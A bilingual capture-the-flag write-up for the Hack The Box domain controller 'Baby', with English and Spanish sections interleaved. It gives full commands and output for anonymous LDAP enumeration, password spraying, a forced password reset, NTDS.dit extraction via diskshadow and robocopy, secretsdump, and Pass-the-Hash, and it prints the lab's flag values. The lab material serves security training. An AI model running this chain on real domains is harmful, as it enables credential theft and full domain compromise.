Baby
Executive summary — Baby is a Windows machine built on a Domain Controller (Active Directory) that isn't cracked with a single exploit, but by chaining configuration slips: an anonymous LDAP bind leaks an initial password in the
descriptionattribute, group membership reveals hidden accounts that direct enumeration never shows, a targeted password spray plus an SMB password reset yields a shell as a member of Backup Operators, andSeBackupPrivilegelets us dumpNTDS.ditfor a final Pass-the-Hash as Administrator. An LDAP → SMB → WinRM → Root path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.33.154 |
Attack map
[anon LDAP] baby.vl (BabyDC) — anonymous bind
│ Teresa.Bell description leaks BabyStart123!
▼
[dev/it groups] the member attribute reveals hidden users
│ Caroline.Robinson · Ian.Walker (different read ACL)
▼
[Password spray] Caroline.Robinson → STATUS_PASSWORD_MUST_CHANGE
│ password reset over SMB → Hackerman2026!
▼
[WinRM] Caroline.Robinson (BUILTIN\Backup Operators)
│ SeBackupPrivilege → diskshadow (VSS) → robocopy /b → NTDS.dit
▼
[secretsdump] Administrator NTLM hash
│ Pass-the-Hash
▼
[ROOT] Administrator via WinRM → root.txt
1. Reconnaissance
We start by mapping the attack surface: a full-port sweep tuned for speed, then a scripted, version-detecting scan over the open ports:
nmap -p- --min-rate 3000 -T4 -Pn 10.129.33.154
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 -sC -sV -Pn 10.129.33.154
Relevant result: a port set that is the classic fingerprint of a Domain Controller — 53 (DNS), 88 (Kerberos), 135 (MSRPC), 139/445 (SMB), 389/636/3268/3269 (LDAP/LDAPS/Global Catalog), 464 (kpasswd), 3389 (RDP), 5985 (WinRM) and 9389 (ADWS). The scan also reveals: Windows Server 2022 (build 20348), domain baby.vl, hostname BabyDC, and a self-signed RDP certificate (commonName=BabyDC.baby.vl).
Analysis: against a DC, AD enumeration (SMB, LDAP, Kerberos) is almost always the entry vector. There is no web app: all focus goes to the directory services.
Resumen ejecutivo — Baby es una máquina Windows construida sobre un Domain Controller (Active Directory) que no se rompe con un exploit, sino encadenando descuidos de configuración: un bind LDAP anónimo filtra una contraseña inicial en el atributo
description, la membresía de grupo revela cuentas ocultas que la enumeración directa no ve, un password spray dirigido más un reseteo de contraseña vía SMB da una shell como miembro de Backup Operators, ySeBackupPrivilegepermite volcarNTDS.ditpara un Pass-the-Hash final como Administrator. Un recorrido LDAP → SMB → WinRM → Root.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.33.154 |
Mapa del ataque
[LDAP anón] baby.vl (BabyDC) — bind anónimo
│ description de Teresa.Bell filtra BabyStart123!
▼
[Grupos dev/it] el atributo member revela usuarios ocultos
│ Caroline.Robinson · Ian.Walker (ACL de lectura distinta)
▼
[Password spray] Caroline.Robinson → STATUS_PASSWORD_MUST_CHANGE
│ reseteo de contraseña vía SMB → Hackerman2026!
▼
[WinRM] Caroline.Robinson (BUILTIN\Backup Operators)
│ SeBackupPrivilege → diskshadow (VSS) → robocopy /b → NTDS.dit
▼
[secretsdump] hash NTLM de Administrator
│ Pass-the-Hash
▼
[ROOT] Administrator vía WinRM → root.txt
1. Reconocimiento
Empezamos mapeando la superficie de ataque con un barrido de todos los puertos, priorizando velocidad, y luego un escaneo con scripts y detección de versión sobre los que están abiertos:
nmap -p- --min-rate 3000 -T4 -Pn 10.129.33.154
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 -sC -sV -Pn 10.129.33.154
Resultado relevante: un conjunto de puertos que es la huella clásica de un Domain Controller — 53 (DNS), 88 (Kerberos), 135 (MSRPC), 139/445 (SMB), 389/636/3268/3269 (LDAP/LDAPS/Global Catalog), 464 (kpasswd), 3389 (RDP), 5985 (WinRM) y 9389 (ADWS). El escaneo revela además: Windows Server 2022 (build 20348), dominio baby.vl, hostname BabyDC y un certificado RDP propio (commonName=BabyDC.baby.vl).
Análisis: ante un DC, la enumeración de AD (SMB, LDAP, Kerberos) es casi siempre la vía de entrada. No hay web: todo el foco va a los servicios de directorio.
2. SMB — null session
We check whether the server allows anonymous authentication (a null session) over SMB:
netexec smb 10.129.33.154
SMB 10.129.33.154 445 BABYDC Windows Server 2022 Build 20348 x64 (domain:baby.vl) (signing:True) (Null Auth:True)
Null Auth: True — the anonymous session is allowed. But it goes nowhere by itself: both share enumeration and RID-cycling returned
STATUS_ACCESS_DENIED. The null session exists, yet its SMB permissions are minimal.
3. Anonymous LDAP enumeration — the real way in
Where SMB closes, LDAP opens. We try an anonymous bind and dump the domain users:
netexec ldap 10.129.33.154 -u '' -p '' --users
The anonymous bind succeeds and enumerates 9 «domain users» (including Guest). The critical hit: a cleartext password leaked in the description field:
Username Description
Guest Built-in account...
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell Set initial password to BabyStart123!
An extended ldapsearch dump confirms the same 8 real users (4 in OU=dev, 4 in OU=it), all with userAccountControl: 66080 (which includes the PASSWD_NOTREQD flag), and that Administrator is not readable anonymously (privileged built-in accounts carry a different ACL):
ldapsearch -x -H ldap://10.129.33.154 -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName description info userAccountControl
The lesson: always dump
descriptionandinfo, not justsAMAccountName. Storing initial passwords in an account'sdescriptionis a classic of poorly managed AD environments.
4. The first attempt fails — and why
The obvious move is to try BabyStart123! against Teresa.Bell and, by spray, against the other 7 users:
netexec smb 10.129.33.154 -u users.txt -p 'BabyStart123!' --continue-on-success
All 8 return STATUS_LOGON_FAILURE. No match. Digging in: Teresa.Bell's badPwdCount is 4 (no lockout) and her pwdLastSet is no longer 0 — her initial password has already been changed. Kerberos offers nothing either: AS-REP Roasting (impacket-GetNPUsers) yields nothing (no account with UF_DONT_REQUIRE_PREAUTH) and there are no SPN accounts (nothing kerberoastable).
5. The key finding — hidden users via group membership
Direct user search (objectClass=user) consistently returns only 8 accounts. But the dev and it groups are readable anonymously, and querying their member attribute surfaces two members that user enumeration never showed:
ldapsearch -x -H ldap://10.129.33.154 -b "DC=baby,DC=vl" "(objectClass=group)" sAMAccountName member
dn: CN=dev,CN=Users,DC=baby,DC=vl
member: CN=Ian Walker,OU=dev,DC=baby,DC=vl <- NEW
member: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
member: CN=Hugh George,OU=dev,DC=baby,DC=vl
member: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
member: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
dn: CN=it,CN=Users,DC=baby,DC=vl
member: CN=Caroline Robinson,OU=it,DC=baby,DC=vl <- NEW
member: CN=Teresa Bell,OU=it,DC=baby,DC=vl
member: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
member: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
member: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
Why it works: the user objects
Ian.WalkerandCaroline.Robinsonhave an ACL that blocks direct reads in a subtree search, but the group'smemberattribute (readable anonymously) references them anyway. A permissions mismatch lets us discover them indirectly. When the user count «looks short», look at the groups. Note: on HTB, usernames are typically randomized per machine instance — what carries over between spawns is the mechanic (an ACL mismatch between user search and group search), not necessarily the exact name.
6. Foothold — targeted spray and password reset
With the two new names, we repeat the BabyStart123! spray aimed only at them:
netexec smb 10.129.33.154 -u 'Caroline.Robinson' -p 'BabyStart123!'
netexec smb 10.129.33.154 -u 'Ian.Walker' -p 'BabyStart123!'
[-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
[-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE
The key signal:
STATUS_PASSWORD_MUST_CHANGEconfirms the password is correct, but Windows requires changing it at next logon — very different fromSTATUS_LOGON_FAILURE(wrong password). Telling these two status codes apart is what turns a blind «failed» into a hit.
Since the password is valid but flagged for change, we reset it over SMB (allowed precisely because of that flag) with the change-password module:
netexec smb 10.129.33.154 -u 'Caroline.Robinson' -p 'BabyStart123!' -M change-password -o NEWPASS='Hackerman2026!'
[+] Successfully changed password for Caroline.Robinson
We verify over WinRM and open a shell:
netexec winrm 10.129.33.154 -u 'Caroline.Robinson' -p 'Hackerman2026!'
evil-winrm -i 10.129.33.154 -u 'Caroline.Robinson' -p 'Hackerman2026!'
[+] baby.vl\Caroline.Robinson:Hackerman2026! (Pwn3d!)
Evil-WinRM PS> whoami
baby\caroline.robinson
7. User flag
type C:\Users\Caroline.Robinson\Desktop\user.txt
d6dde6cd9ec0b205e7bff3b27ef14826
8. Privilege escalation — SeBackupPrivilege
First reflex with a fresh user: check groups and privileges. The critical detail:
whoami /groups
whoami /priv
BABY\it Group
BUILTIN\Backup Operators Alias S-1-5-32-551
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
Backup Operators = de facto Domain Admin on a DC.
SeBackupPrivilegeallows reading any file, bypassing ACLs, as long as the read uses Windows' backup semantics (theFILE_FLAG_BACKUP_SEMANTICSflag). The target isC:\Windows\NTDS\ntds.dit, the AD database holding every domain hash. Both privileges come pre-enabled in the session, no manual token adjustment needed.
The catch: ntds.dit is locked in use while the DC is running. We need a «frozen» copy of the volume via Volume Shadow Copy.
9. Extracting NTDS.dit via shadow copy
We create the shadow copy with diskshadow. The script must use \r\n line endings: with only \n, diskshadow.exe fails to parse it and prints its help menu (a confusing silent failure). We build it from PowerShell:
$s = "set context persistent nowriters`r`nset metadata C:\Windows\Temp\meta.cab`r`nset verbose on`r`nbegin backup`r`nadd volume c: alias cdrive`r`ncreate`r`nexpose %cdrive% E:`r`nend backup`r`n"
[System.IO.File]::WriteAllText("C:\Windows\Temp\dsscript.txt", $s)
diskshadow /s C:\Windows\Temp\dsscript.txt
Effective script content, for clarity:
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias cdrive
create
expose %cdrive% E:
end backup
The shadow copy was successfully exposed as E:\.
With the copy exposed at E:\, we use robocopy /b (backup mode, which leverages SeBackupPrivilege) to copy NTDS.dit, and we save the SYSTEM hive (needed to decrypt the database):
mkdir C:\Windows\Temp\extract
robocopy /b E:\Windows\NTDS C:\Windows\Temp\extract NTDS.dit
reg save HKLM\SYSTEM C:\Windows\Temp\extract\SYSTEM
The
/bflag is the key: it enablesrobocopy's backup mode, copying the file despite lacking normal DACL permissions on it. Result:ntds.dit(16.0 MB) andSYSTEMinC:\Windows\Temp\extract\.
Downloading to Kali with evil-winrm's download command fails midway on large files due to a known gem bug (a real typo, EstandardError instead of StandardError, that breaks handling of transient errors on long transfers):
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
The SYSTEM hive came down fine, but ntds.dit was cut off twice (at 44% and 69%). Fix: pull it over direct SMB with impacket-smbclient (a binary protocol, without WinRM's base64 overhead):
cat > smb_cmds.txt << 'EOF'
use C$
cd Windows\Temp\extract
get ntds.dit
EOF
impacket-smbclient 'baby.vl/Caroline.Robinson:Hackerman2026!@10.129.33.154' -inputfile smb_cmds.txt
Download complete and verified: exactly 16,777,216 bytes, matching the remote size.
10. Hash dump and Pass-the-Hash
With ntds.dit and SYSTEM local, we extract the hashes offline with secretsdump:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -outputfile baby_secrets
It dumps NTLM and Kerberos keys (AES256/128, DES) for every domain account — including the two hidden ones (Ian.Walker, Caroline.Robinson) and, crucially, Administrator's:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
No cracking required: the NTLM hash alone is enough for a Pass-the-Hash:
netexec winrm 10.129.33.154 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
evil-winrm -i 10.129.33.154 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
[+] baby.vl\Administrator:ee4457ae59f1e3fbd764e33d9cef123d (Pwn3d!)
Evil-WinRM PS> whoami
baby\administrator
11. Root flag
type C:\Users\Administrator\Desktop\root.txt
2f40e6564bcdb5a464551efe85daeaac
Domain fully compromised. 🏴
12. Cleanup
As Administrator, we remove the artefacts left behind during exploitation:
Remove-Item -Recurse -Force C:\Windows\Temp\extract
Remove-Item -Force C:\Windows\Temp\dsscript.txt
Remove-Item -Force C:\Windows\Temp\meta.cab
The obvious move, deleting the shadow copy with vssadmin, fails:
vssadmin delete shadows
Error: Snapshots were found, but they were outside of your allowed context
The copy was created as PERSISTENT via
diskshadow, and that kind of shadow copy can only be removed by the same tool that created it —vssadminhas no authority over it.
Fix: generate a deletion script for diskshadow (again with \r\n line endings) and run it:
[System.IO.File]::WriteAllText("C:\Windows\Temp\delshadow.txt", "delete shadows all`r`n")
diskshadow /s C:\Windows\Temp\delshadow.txt
Number of shadow copies deleted: 1
Remove-Item -Force C:\Windows\Temp\delshadow.txt
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Enumeration | LDAP | Anonymous bind + password in the description attribute | Leak of the initial password BabyStart123! |
| Enumeration | LDAP / AD groups | Inconsistent ACL: users unreadable yet referenced in member | Discovery of hidden accounts (Caroline.Robinson) |
| Access | SMB / user account | Valid password flagged «must change» + anonymous SMB reset | Shell as Caroline.Robinson (user.txt) |
| PrivEsc | BUILTIN\Backup Operators | SeBackupPrivilege allows reading NTDS.dit, bypassing ACLs | Dump of all domain hashes |
| PrivEsc | Kerberos / NTLM | Pass-the-Hash with the Administrator NTLM hash | Full domain compromise (root.txt) |
Lessons learned
- Anonymous LDAP bind + credentials in
description/info: still common in AD. Always dump those attributes, not justsAMAccountName, and never store passwords in them. - Direct enumeration has ACL blind spots. If the user count «looks short», query the groups'
memberattribute: it may reveal objects with different read ACLs — here it was the only way to seeCaroline.Robinson. STATUS_PASSWORD_MUST_CHANGEvsSTATUS_LOGON_FAILURE: telling these codes apart in a spray turns a blind «failed» into a valid credential.- Backup Operators is de facto Domain Admin on a DC:
SeBackupPrivilege+robocopy /b(ordiskshadow+ copy) extractsNTDS.ditwith no further escalation. Restrict membership of that group. diskshadowdemands\r\nline endings in its scripts; with only\nit fails silently, showing the help menu.- Alternative tools when bugs bite:
evil-winrm'sdownloadtruncates large transfers due to a known bug;impacket-smbclient(direct SMB) is more reliable for multi-MB files.
2. SMB — sesión nula
Comprobamos si el servidor admite autenticación anónima (null session) por SMB:
netexec smb 10.129.33.154
SMB 10.129.33.154 445 BABYDC Windows Server 2022 Build 20348 x64 (domain:baby.vl) (signing:True) (Null Auth:True)
Null Auth: True — la sesión anónima está permitida. Pero tiene poco recorrido por esta vía: tanto la enumeración de shares como el RID-cycling devolvieron
STATUS_ACCESS_DENIED. La null session existe, pero sus permisos por SMB son mínimos.
3. Enumeración LDAP anónima — la vía real
Donde SMB se cierra, LDAP se abre. Probamos un bind anónimo y volcamos los usuarios del dominio:
netexec ldap 10.129.33.154 -u '' -p '' --users
El bind anónimo funciona y enumera 9 «domain users» (incluyendo Guest). Lo crítico: una contraseña en texto claro filtrada en el campo description:
Username Description
Guest Built-in account...
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell Set initial password to BabyStart123!
Un volcado extendido con ldapsearch confirma los mismos 8 usuarios reales (4 en OU=dev, 4 en OU=it), todos con userAccountControl: 66080 (que incluye el flag PASSWD_NOTREQD), y que Administrator no es legible anónimamente (las cuentas built-in privilegiadas llevan otra ACL):
ldapsearch -x -H ldap://10.129.33.154 -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName description info userAccountControl
La lección: volcar siempre
descriptioneinfo, no solosAMAccountName. Guardar contraseñas iniciales en eldescriptionde una cuenta es un clásico de los entornos AD mal gestionados.
4. El primer intento falla — y por qué
Lo evidente es probar BabyStart123! contra Teresa.Bell y, por spray, contra los otros 7 usuarios:
netexec smb 10.129.33.154 -u users.txt -p 'BabyStart123!' --continue-on-success
Los 8 devuelven STATUS_LOGON_FAILURE. Ninguno coincide. Investigando: badPwdCount de Teresa.Bell es 4 (sin bloqueo) y su pwdLastSet ya no es 0 — su contraseña inicial ya fue cambiada. Tampoco hay vía por Kerberos: AS-REP Roasting (impacket-GetNPUsers) no da resultados (ninguna cuenta con UF_DONT_REQUIRE_PREAUTH) y no hay cuentas con SPN (nada kerberoasteable).
5. El hallazgo clave — usuarios ocultos vía membresía de grupo
La búsqueda directa de usuarios (objectClass=user) devuelve consistentemente solo 8 cuentas. Pero los grupos dev e it sí son legibles anónimamente, y al consultar su atributo member aparecen dos miembros que la enumeración de usuarios nunca mostró:
ldapsearch -x -H ldap://10.129.33.154 -b "DC=baby,DC=vl" "(objectClass=group)" sAMAccountName member
dn: CN=dev,CN=Users,DC=baby,DC=vl
member: CN=Ian Walker,OU=dev,DC=baby,DC=vl <- NUEVO
member: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
member: CN=Hugh George,OU=dev,DC=baby,DC=vl
member: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
member: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
dn: CN=it,CN=Users,DC=baby,DC=vl
member: CN=Caroline Robinson,OU=it,DC=baby,DC=vl <- NUEVO
member: CN=Teresa Bell,OU=it,DC=baby,DC=vl
member: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
member: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
member: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
Por qué funciona: los objetos de usuario
Ian.WalkeryCaroline.Robinsontienen una ACL que bloquea su lectura directa en una subtree search, pero el atributomemberdel grupo (legible anónimamente) los referencia igualmente. Un desajuste de permisos permite descubrirlos indirectamente. Cuando el conteo de usuarios «parece corto», mirar los grupos. Nota: en HTB los nombres de usuario suelen aleatorizarse por instancia de la máquina — lo que se reutiliza entre spawns es la mecánica (ACL inconsistente entre búsqueda de usuarios y de grupos), no necesariamente el nombre exacto.
6. Foothold — spray dirigido y reseteo de contraseña
Con los dos nombres nuevos, repetimos el spray de BabyStart123! pero apuntando solo a ellos:
netexec smb 10.129.33.154 -u 'Caroline.Robinson' -p 'BabyStart123!'
netexec smb 10.129.33.154 -u 'Ian.Walker' -p 'BabyStart123!'
[-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
[-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE
La señal clave:
STATUS_PASSWORD_MUST_CHANGEconfirma que la contraseña es correcta, pero Windows exige cambiarla en el próximo inicio de sesión — muy distinto deSTATUS_LOGON_FAILURE(contraseña incorrecta). Distinguir ambos códigos de estado es lo que convierte un «falló» ciego en un hit.
Como la contraseña es válida pero está marcada para cambio, la reseteamos vía SMB (permitido justo por ese flag) con el módulo change-password:
netexec smb 10.129.33.154 -u 'Caroline.Robinson' -p 'BabyStart123!' -M change-password -o NEWPASS='Hackerman2026!'
[+] Successfully changed password for Caroline.Robinson
Verificamos por WinRM y abrimos shell:
netexec winrm 10.129.33.154 -u 'Caroline.Robinson' -p 'Hackerman2026!'
evil-winrm -i 10.129.33.154 -u 'Caroline.Robinson' -p 'Hackerman2026!'
[+] baby.vl\Caroline.Robinson:Hackerman2026! (Pwn3d!)
Evil-WinRM PS> whoami
baby\caroline.robinson
7. User flag
type C:\Users\Caroline.Robinson\Desktop\user.txt
d6dde6cd9ec0b205e7bff3b27ef14826
8. Escalada de privilegios — SeBackupPrivilege
Primer reflejo con un usuario nuevo: revisar grupos y privilegios. El dato crítico:
whoami /groups
whoami /priv
BABY\it Group
BUILTIN\Backup Operators Alias S-1-5-32-551
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
Backup Operators = Domain Admin de facto en un DC.
SeBackupPrivilegepermite leer cualquier archivo ignorando las ACLs si la lectura usa la backup semantics de Windows (flagFILE_FLAG_BACKUP_SEMANTICS). El objetivo esC:\Windows\NTDS\ntds.dit, la base de datos de AD con todos los hashes del dominio. Ambos privilegios ya vienen habilitados en la sesión, sin necesidad de ajustar el token a mano.
El problema: ntds.dit está bloqueado en uso mientras el DC corre. Necesitamos una copia «congelada» del volumen vía Volume Shadow Copy.
9. Extraer NTDS.dit vía shadow copy
Creamos la shadow copy con diskshadow. El script debe tener terminadores de línea \r\n: con solo \n, diskshadow.exe falla al parsearlo y muestra su menú de ayuda (un fallo silencioso confuso). Lo generamos desde PowerShell:
$s = "set context persistent nowriters`r`nset metadata C:\Windows\Temp\meta.cab`r`nset verbose on`r`nbegin backup`r`nadd volume c: alias cdrive`r`ncreate`r`nexpose %cdrive% E:`r`nend backup`r`n"
[System.IO.File]::WriteAllText("C:\Windows\Temp\dsscript.txt", $s)
diskshadow /s C:\Windows\Temp\dsscript.txt
Contenido efectivo del script, para claridad:
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias cdrive
create
expose %cdrive% E:
end backup
The shadow copy was successfully exposed as E:\.
Con la copia expuesta en E:\, usamos robocopy /b (modo backup, que aprovecha SeBackupPrivilege) para copiar NTDS.dit, y guardamos el hive SYSTEM (necesario para descifrar la base):
mkdir C:\Windows\Temp\extract
robocopy /b E:\Windows\NTDS C:\Windows\Temp\extract NTDS.dit
reg save HKLM\SYSTEM C:\Windows\Temp\extract\SYSTEM
El flag
/bes la clave: activa el modo backup derobocopy, que copia el archivo pese a no tener permisos DACL normales sobre él. Resultado:ntds.dit(16.0 MB) ySYSTEMenC:\Windows\Temp\extract\.
La descarga a Kali con el comando download de evil-winrm falla a mitad en archivos grandes por un bug conocido del gem (un typo real, EstandardError en vez de StandardError, que rompe el manejo de errores transitorios en transferencias largas):
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
El hive SYSTEM bajó bien, pero ntds.dit se cortó dos veces (44% y 69%). Solución: bajarlo por SMB directo con impacket-smbclient (protocolo binario, sin el overhead base64 de WinRM):
cat > smb_cmds.txt << 'EOF'
use C$
cd Windows\Temp\extract
get ntds.dit
EOF
impacket-smbclient 'baby.vl/Caroline.Robinson:Hackerman2026!@10.129.33.154' -inputfile smb_cmds.txt
Descarga completa y verificada: 16.777.216 bytes exactos, coincidiendo con el tamaño remoto.
10. Volcado de hashes y Pass-the-Hash
Con ntds.dit y SYSTEM en local, extraemos los hashes offline con secretsdump:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -outputfile baby_secrets
Vuelca los NTLM y las claves Kerberos (AES256/128, DES) de todas las cuentas del dominio — incluidas las dos ocultas (Ian.Walker, Caroline.Robinson) y, lo que importa, el de Administrator:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
No hace falta crackear nada: con el hash NTLM basta hacer Pass-the-Hash:
netexec winrm 10.129.33.154 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
evil-winrm -i 10.129.33.154 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
[+] baby.vl\Administrator:ee4457ae59f1e3fbd764e33d9cef123d (Pwn3d!)
Evil-WinRM PS> whoami
baby\administrator
11. Root flag
type C:\Users\Administrator\Desktop\root.txt
2f40e6564bcdb5a464551efe85daeaac
Dominio comprometido por completo. 🏴
12. Limpieza
Ya como Administrator, se retiran los artefactos dejados durante la explotación:
Remove-Item -Recurse -Force C:\Windows\Temp\extract
Remove-Item -Force C:\Windows\Temp\dsscript.txt
Remove-Item -Force C:\Windows\Temp\meta.cab
El intento obvio de borrar la shadow copy con vssadmin falla:
vssadmin delete shadows
Error: Snapshots were found, but they were outside of your allowed context
La copia se creó como PERSISTENT vía
diskshadow, y ese tipo de shadow copy solo puede eliminarse con la misma herramienta que la creó —vssadminno tiene autoridad sobre ella.
Solución: generar un script de borrado para diskshadow (de nuevo con terminadores \r\n) y ejecutarlo:
[System.IO.File]::WriteAllText("C:\Windows\Temp\delshadow.txt", "delete shadows all`r`n")
diskshadow /s C:\Windows\Temp\delshadow.txt
Number of shadow copies deleted: 1
Remove-Item -Force C:\Windows\Temp\delshadow.txt
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Enumeración | LDAP | Bind anónimo + contraseña en el atributo description | Fuga de la contraseña inicial BabyStart123! |
| Enumeración | LDAP / grupos AD | ACL inconsistente: usuarios ilegibles pero referenciados en member | Descubrimiento de cuentas ocultas (Caroline.Robinson) |
| Acceso | SMB / cuenta de usuario | Contraseña válida marcada «must change» + reseteo anónimo vía SMB | Shell como Caroline.Robinson (user.txt) |
| PrivEsc | BUILTIN\Backup Operators | SeBackupPrivilege permite leer NTDS.dit saltando ACLs | Volcado de todos los hashes del dominio |
| PrivEsc | Kerberos / NTLM | Pass-the-Hash con el NTLM de Administrator | Compromiso total del dominio (root.txt) |
Lecciones aprendidas
- Bind LDAP anónimo + credenciales en
description/info: sigue siendo común en AD. Vuelca siempre esos atributos, no solosAMAccountName, y nunca guardes contraseñas en ellos. - La enumeración directa tiene puntos ciegos por ACL. Si el conteo de usuarios «parece corto», consulta el atributo
memberde los grupos: puede revelar objetos con ACLs de lectura distintas — aquí fue la única forma de ver aCaroline.Robinson. STATUS_PASSWORD_MUST_CHANGEvsSTATUS_LOGON_FAILURE: distinguir estos códigos en un spray convierte un «falló» ciego en una credencial válida.- Backup Operators es Domain Admin de facto en un DC:
SeBackupPrivilege+robocopy /b(odiskshadow+ copia) extraeNTDS.ditsin ninguna otra escalada. Restringe la pertenencia a ese grupo. diskshadowexige terminadores\r\nen sus scripts; con solo\nfalla en silencio mostrando el menú de ayuda.- Herramientas alternativas ante bugs: el
downloaddeevil-winrmcorta transferencias grandes por un bug conocido;impacket-smbclient(SMB directo) es más fiable para archivos de varios MB.